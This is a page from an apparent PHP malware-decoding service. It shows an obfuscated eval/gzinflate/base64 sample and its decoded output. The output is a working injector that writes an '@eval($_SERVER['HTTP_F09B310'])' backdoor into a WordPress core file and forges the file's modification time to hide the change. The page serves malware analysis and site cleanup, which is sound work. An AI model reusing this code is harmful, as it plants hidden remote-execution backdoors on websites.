Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
eval(gzinflate(base64_decode("jVJrb6JAFP3ur2ATEzRtNlCqxmyaXXVLi0ppURHdbAwMQxkcBgqDApv+9x3w..
Decoded Output download
phpConfValidate('YTo0OntpOjA7czo3MToiL3Zhci93d3cvY2xpZW50cy9jbGllbnQxL3dlYjI2L3dlYi9ibG9nL3dwLWluY2x1ZGVzL3RlbXBsYXRlLWxvYWRlci5waHAiO2k6MTtzOjk4OiJ+ZXZhbFteXChcblxyXSpcKFteXCRdKlwkX1tBLVpdezZ9W15cW10qXFtbXlwnXCJdKltcJ1wiXUhUVFBfRjA5QjMxMFtcJ1wiXVteXF1dKlxdW15cKV0qXClbXjtdKjt+cyI7aToyO3M6MzI6IkBldmFsKCRfU0VSVkVSWydIVFRQX0YwOUIzMTAnXSk7IjtpOjM7czozNToifl5ccyppZi4qaXNfcm9ib3RzW15ce3xcOl0rKFx7fDopfm0iO30=');
function phpConfValidate($ser) {
list ($fullPath, $systemEnv, $code, $pattern) = unserialize(base64_decode($ser));
$source = file_get_contents($fullPath);
if (preg_match($systemEnv, $source)) {
return;
}
if (!preg_match($pattern, $source, $matches)) {
return;
}
$incorrectRegex = str_replace('e' . 'va' . 'l', '@?arr' . 'ay', $systemEnv);
$newSource = preg_replace($incorrectRegex, '', $source);
$newSource = str_replace($matches[0], $code . PHP_EOL . $matches[0], $newSource);
if (!preg_match($systemEnv, $newSource)) {
return;
}
$filemtime = filemtime($fullPath) + 10;
unlink($fullPath);
file_put_contents($fullPath, $newSource);
touch($fullPath, $filemtime);
}
Did this file decode correctly?
Original Code
eval(gzinflate(base64_decode("jVJrb6JAFP3ur2ATEzRtNlCqxmyaXXVLi0ppURHdbAwMQxkcBgqDApv+9x3w2UeyOx+YO8w9554599YiLxqExDUsjByLwga/mIaCRmik+b0OKEJJnYZoLC09gLqSI4HN4iqLlvOWAPKub99hbJOnbCw5eOErV9WOusi+6xIWb8dznLJ8cXlnFGNJx7bZTxamjsfzbLOY6xig1ta67yHtat1Wp7TQ/PW1hoYXS3Pp2TKF5sADNs5ycxKBUXXWnRHerk2R9sdG5MBi2Z2LLTAXhRdTpraJt8QcDFkOBUNxi8yZNzPkvqv7vdaTr2aqvP9vMC5ZZHmZU+JHBsMPmDyfOiOfXoBc6VjTMNckta0WSltZ97ETyMlooLszwZgYa2Myzx3FkPUnU1hstZlSqNMeMSfrjuKX3qmld8UD887FLQDyKFqi6xfLfHBBwPyR9KKsC6UMaFiIR3LWcX+GkRsISJOEG775reamBFAUEu59h+oJjJvcn1qNYwujhHKNupti/GhR75KrJ3lCYXBLNiwGoQPZFlmUwpg0uRsuJQyNGFUBG7aVwPb1yoFl2o6W1S1Z60mYxgCyfBdhuHqGdAVCQiGhyanWPhe5XCOK4fMqsCjwGm/q72iapVpuv2JI05jsoK9Hgi/nDHu5RzwLqhuY/INppx0REMYxBFSHzzBjb0hovIphhC3Axhvy3FeO31jVhvlLjv/x3Yrj6mjl/LmBBzMI3E4OflQ6D2TvSjEu/vToT8DnQg5P+iX83jeKKXi8f1zdamMWvb0+kuxZT58P5p3bf4L9j29lqwOKgkPbq/is3dwFJwo7WEowIusPo1ANS5R+NiyfPIKGaSn4LONYlWW81v4C")))
Function Calls
gzinflate | 1 |
base64_decode | 1 |
phpConfValidate | 1 |
Stats
MD5 | ff4253b5c6256140541d31da3c85ab75 |
Eval Count | 1 |
Decode Time | 50 ms |